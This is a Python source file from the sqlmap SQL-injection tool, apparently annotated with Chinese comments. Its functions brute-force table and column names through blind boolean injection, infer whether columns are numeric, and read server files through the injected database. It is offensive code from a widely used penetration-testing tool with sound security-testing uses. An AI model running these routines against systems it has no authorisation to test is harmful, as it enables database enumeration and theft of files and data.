#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from __future__ import division

import time

from lib.core.common import Backend
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import filterListValue
from lib.core.common import getFileItems
from lib.core.common import getPageWordSet
from lib.core.common import hashDBWrite
from lib.core.common import isNoneValue
from lib.core.common import ntToPosixSlashes
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import safeStringFormat
from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE
from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE
from lib.core.settings import METADB_SUFFIX
from lib.core.settings import UPPER_CASE_DBMSES
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.request import inject

def _addPageTextWords():
    wordsList = []

    infoMsg = "adding words used on web page to the check list"
    logger.info(infoMsg)
    pageWords = getPageWordSet(kb.originalPage)

    for word in pageWords:
        word = word.lower()

        if len(word) > 2 and not word[0].isdigit() and word not in wordsList:
            wordsList.append(word)

    return wordsList

@stackedmethod
def tableExists(tableFile, regex=None):
    # 检查是否需要使用表存在性检查
    if kb.choices.tableExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
        # 如果使用PAYLOAD.TECHNIQUE.TIME和PAYLOAD.TECHNIQUE.STACKED进行表存在性检查，则发出警告
        warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
        warnMsg += "for common table existence check"
        logger.warning(warnMsg)

        # 提示用户是否继续
        message = "are you sure you want to continue? [y/N] "
        kb.choices.tableExists = readInput(message, default='N', boolean=True)

        # 如果用户选择不继续，则返回None
        if not kb.choices.tableExists:
            return None

    # 检查表存在性
    result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))

    # 如果检查结果无效，则抛出异常
    if result:
        errMsg = "can't use table existence check because of detected invalid results "
        errMsg += "(most likely caused by inability of the used injection "
        errMsg += "to distinguish erroneous results)"
        raise SqlmapDataException(errMsg)

    # 将数据库信息推送到kb.injection.data中
    pushValue(conf.db)

    # 如果数据库信息存在，并且数据库类型为大写，则将数据库信息转换为大写
    if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
        conf.db = conf.db.upper()

    # 提示用户选择表存在性检查的文件
    message = "which common tables (wordlist) file do you want to use?\n"
    message += "[1] default '%s' (press Enter)\n" % tableFile
    message += "[2] custom"
    choice = readInput(message, default='1')

    # 如果用户选择自定义文件，则提示用户输入文件路径
    if choice == '2':
        message = "what's the custom common tables file location?\n"
        tableFile = readInput(message) or tableFile

    # 打印信息，表示正在使用文件进行表存在性检查
    infoMsg = "performing table existence using items from '%s'" % tableFile
    logger.info(infoMsg)

    # 获取文件中的表名
    tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
    tables.extend(_addPageTextWords())
    tables = filterListValue(tables, regex)

    # 遍历数据库信息
    for conf.db in (conf.db.split(',') if conf.db else [conf.db]):
        # 如果数据库信息存在，并且不是元数据库，则打印信息
        if conf.db and METADB_SUFFIX not in conf.db:
            infoMsg = "checking database '%s'" % conf.db
            logger.info(infoMsg)

        # 获取当前线程数据
        threadData = getCurrentThreadData()
        threadData.shared.count = 0
        threadData.shared.limit = len(tables)
        threadData.shared.files = []
        threadData.shared.unique = set()

        # 定义线程函数
        def tableExistsThread():
            threadData = getCurrentThreadData()

            # 循环检查表存在性
            while kb.threadContinue:
                kb.locks.count.acquire()
                if threadData.shared.count < threadData.shared.limit:
                    table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
                    threadData.shared.count += 1
                    kb.locks.count.release()
                else:
                    kb.locks.count.release()
                    break

                # 如果数据库信息存在，并且不是元数据库，并且数据库类型不是SQLite、Access、Firebird，则构建完整的表名
                if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                    fullTableName = "%s.%s" % (conf.db, table)
                else:
                    fullTableName = table

                # 根据数据库类型，构建表存在性检查的SQL语句
                if Backend.isDbms(DBMS.MCKOI):
                    _ = randomInt(1)
                    result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName)))
                else:
                    result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))

                # 将结果添加到线程数据中
                kb.locks.io.acquire()

                if result and table.lower() not in threadData.shared.unique:
                    threadData.shared.files.append(table)
                    threadData.shared.unique.add(table.lower())

                    # 如果verbose级别为1或2，并且不是API调用，则打印信息
                    if conf.verbose in (1, 2) and not conf.api:
                        clearConsoleLine(True)
                        infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
                        dataToStdout(infoMsg, True)

                # 如果verbose级别为1或2，则打印状态信息
                if conf.verbose in (1, 2):
                    status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
                    dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

                kb.locks.io.release()

        try:
            # 尝试运行线程
            runThreads(conf.threads, tableExistsThread, threadChoice=True)
        except KeyboardInterrupt:
            # 捕获用户中断
            warnMsg = "user aborted during table existence "
            warnMsg += "check. sqlmap will display partial output"
            logger.warning(warnMsg)

        # 清除控制台行
        clearConsoleLine(True)
        # 输出换行符
        dataToStdout("\n")

        # 如果没有找到表
        if not threadData.shared.files:
            warnMsg = "no table(s) found"
            # 如果指定了数据库
            if conf.db:
                warnMsg += " for database '%s'" % conf.db
            logger.warning(warnMsg)
        else:
            # 遍历找到的表
            for item in threadData.shared.files:
                # 如果数据库不在缓存表中
                if conf.db not in kb.data.cachedTables:
                    # 将表添加到缓存表中
                    kb.data.cachedTables[conf.db] = [item]
                else:
                    # 否则将表添加到缓存表的列表中
                    kb.data.cachedTables[conf.db].append(item)

        # 遍历找到的表
        for _ in ((conf.db, item) for item in threadData.shared.files):
            # 如果表不在暴力破解表中
            if _ not in kb.brute.tables:
                # 将表添加到暴力破解表中
                kb.brute.tables.append(_)

    # 从配置中弹出数据库
    conf.db = popValue()
    # 将暴力破解表写入哈希数据库
    hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)

    # 返回缓存表
    return kb.data.cachedTables

def columnExists(columnFile, regex=None):
    # 如果没有指定列存在性检查
    if kb.choices.columnExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
        # 警告信息
        warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
        warnMsg += "for common column existence check"
        logger.warning(warnMsg)

        # 提示用户是否继续
        message = "are you sure you want to continue? [y/N] "
        kb.choices.columnExists = readInput(message, default='N', boolean=True)

        # 如果用户选择不继续
        if not kb.choices.columnExists:
            return None

    # 如果没有指定表
    if not conf.tbl:
        # 抛出缺少表参数异常
        errMsg = "missing table parameter"
        raise SqlmapMissingMandatoryOptionException(errMsg)

    # 如果指定了数据库并且数据库管理系统是大写的
    if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
        # 将数据库转换为大写
        conf.db = conf.db.upper()

    # 注入检查布尔表达式
    result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))

    # 如果结果无效
    if result:
        # 抛出数据异常
        errMsg = "can't use column existence check because of detected invalid results "
        errMsg += "(most likely caused by inability of the used injection "
        errMsg += "to distinguish erroneous results)"
        raise SqlmapDataException(errMsg)

    # 提示用户选择列存在性检查文件
    message = "which common columns (wordlist) file do you want to use?\n"
    message += "[1] default '%s' (press Enter)\n" % columnFile
    message += "[2] custom"
    choice = readInput(message, default='1')

    # 如果用户选择自定义文件
    if choice == '2':
        # 提示用户输入自定义文件位置
        message = "what's the custom common columns file location?\n"
        columnFile = readInput(message) or columnFile

    # 输出信息
    infoMsg = "checking column existence using items from '%s'" % columnFile
    logger.info(infoMsg)

    # 获取文件项
    columns = getFileItems(columnFile, unique=True)
    # 添加页面文本单词
    columns.extend(_addPageTextWords())
    # 过滤列表值
    columns = filterListValue(columns, regex)

    # 获取表名
    table = safeSQLIdentificatorNaming(conf.tbl, True)

    # 如果指定了数据库并且数据库后缀不在配置中并且数据库管理系统不是SQLite、Access或Firebird
    if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
        # 将表名转换为数据库表名
        table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)

    # 设置线程继续
    kb.threadContinue = True
    # 设置暴力破解模式
    kb.bruteMode = True

    # 获取当前线程数据
    threadData = getCurrentThreadData()
    threadData.shared.count = 0
    threadData.shared.limit = len(columns)
    threadData.shared.files = []

    def columnExistsThread():
        # 获取当前线程的数据
        threadData = getCurrentThreadData()

        # 当kb.threadContinue为True时，循环执行
        while kb.threadContinue:
            # 获取count锁
            kb.locks.count.acquire()
            # 如果threadData.shared.count小于threadData.shared.limit
            if threadData.shared.count < threadData.shared.limit:
                # 获取列名
                column = safeSQLIdentificatorNaming(columns[threadData.shared.count])
                # 增加计数
                threadData.shared.count += 1
                # 释放count锁
                kb.locks.count.release()
            else:
                # 释放count锁
                kb.locks.count.release()
                # 跳出循环
                break

            # 如果数据库类型是MCKOI
            if Backend.isDbms(DBMS.MCKOI):
                # 检查列是否存在
                result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table)))
            else:
                # 检查列是否存在
                result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))

            # 获取io锁
            kb.locks.io.acquire()

            # 如果列存在
            if result:
                # 将列名添加到threadData.shared.files中
                threadData.shared.files.append(column)

                # 如果verbose为1或2且不使用api
                if conf.verbose in (1, 2) and not conf.api:
                    # 清除控制台行
                    clearConsoleLine(True)
                    # 输出信息
                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
                    dataToStdout(infoMsg, True)

            # 如果verbose为1或2
            if conf.verbose in (1, 2):
                # 计算状态
                status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
                # 输出状态
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            # 释放io锁
            kb.locks.io.release()

    try:
        # 运行线程
        runThreads(conf.threads, columnExistsThread, threadChoice=True)
    except KeyboardInterrupt:
        # 如果用户中断，输出警告信息
        warnMsg = "user aborted during column existence "
        warnMsg += "check. sqlmap will display partial output"
        logger.warning(warnMsg)
    finally:
        # 将bruteMode设置为False
        kb.bruteMode = False

    # 清除控制台行
    clearConsoleLine(True)
    # 输出换行
    dataToStdout("\n")

    # 如果没有找到列
    if not threadData.shared.files:
        # 输出警告信息
        warnMsg = "no column(s) found"
        logger.warning(warnMsg)
    else:
        # 初始化columns字典
        columns = {}

        # 遍历threadData.shared.files中的列名
        for column in threadData.shared.files:
            # 如果数据库类型是MySQL
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
                # 检查列是否为数字
                result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
            # 如果数据库类型是SQLite
            elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,):
                # 检查列是否为数字
                result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column)))
            # 如果数据库类型是MCKOI
            elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,):
                # 检查列是否为数字
                result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table)))
            else:
                # 检查列是否为数字
                result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))

            # 如果列是数字
            if result:
                # 将列名和类型添加到columns字典中
                columns[column] = "numeric"
            else:
                # 将列名和类型添加到columns字典中
                columns[column] = "non-numeric"

        # 将columns字典添加到kb.data.cachedColumns中
        kb.data.cachedColumns[conf.db] = {conf.tbl: columns}

        # 遍历columns字典中的列名和类型
        for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in columns.items()):
            # 如果列名和类型不在kb.brute.columns中
            if _ not in kb.brute.columns:
                # 将列名和类型添加到kb.brute.columns中
                kb.brute.columns.append(_)

        # 将kb.brute.columns写入hashDB
        hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)

    # 返回kb.data.cachedColumns
    return kb.data.cachedColumns

@stackedmethod
def fileExists(pathFile):
    # 定义一个空列表，用于存储文件路径
    retVal = []

    # 提示用户选择要使用的公共文件
    message = "which common files file do you want to use?\n"
    message += "[1] default '%s' (press Enter)\n" % pathFile
    message += "[2] custom"
    # 读取用户输入，默认为1
    choice = readInput(message, default='1')

    # 如果用户选择自定义文件
    if choice == '2':
        # 提示用户输入自定义文件路径
        message = "what's the custom common files file location?\n"
        pathFile = readInput(message) or pathFile

    # 打印检查文件存在的信息
    infoMsg = "checking files existence using items from '%s'" % pathFile
    logger.info(infoMsg)

    # 获取文件路径列表
    paths = getFileItems(pathFile, unique=True)

    # 设置暴力模式为True
    kb.bruteMode = True

    try:
        # 读取随机字符串
        conf.dbmsHandler.readFile(randomStr())
    except SqlmapNoneDataException:
        pass
    except:
        # 如果发生异常，将暴力模式设置为False
        kb.bruteMode = False
        raise

    # 获取当前线程数据
    threadData = getCurrentThreadData()
    # 设置计数器为0
    threadData.shared.count = 0
    # 设置限制为路径列表的长度
    threadData.shared.limit = len(paths)
    # 创建一个空列表，用于存储文件
    threadData.shared.files = []

    # 定义一个线程函数，用于检查文件是否存在
    def fileExistsThread():
        # 获取当前线程数据
        threadData = getCurrentThreadData()

        # 当线程继续时
        while kb.threadContinue:
            # 获取计数器的锁
            kb.locks.count.acquire()
            # 如果计数器小于限制
            if threadData.shared.count < threadData.shared.limit:
                # 获取路径
                path = ntToPosixSlashes(paths[threadData.shared.count])
                # 计数器加1
                threadData.shared.count += 1
                # 释放计数器的锁
                kb.locks.count.release()
            else:
                # 释放计数器的锁
                kb.locks.count.release()
                # 跳出循环
                break

            try:
                # 读取路径
                result = unArrayizeValue(conf.dbmsHandler.readFile(path))
            except SqlmapNoneDataException:
                # 如果没有数据，将结果设置为None
                result = None

            # 获取IO的锁
            kb.locks.io.acquire()

            # 如果结果不是None
            if not isNoneValue(result):
                # 将结果添加到文件列表中
                threadData.shared.files.append(result)

                # 如果不是API模式
                if not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path)
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            kb.locks.io.release()

    try:
        runThreads(conf.threads, fileExistsThread, threadChoice=True)
    except KeyboardInterrupt:
        warnMsg = "user aborted during file existence "
        warnMsg += "check. sqlmap will display partial output"
        logger.warning(warnMsg)
    finally:
        kb.bruteMode = False

    clearConsoleLine(True)
    dataToStdout("\n")

    if not threadData.shared.files:
        warnMsg = "no file(s) found"
        logger.warning(warnMsg)
    else:
        retVal = threadData.shared.files

    return retVal
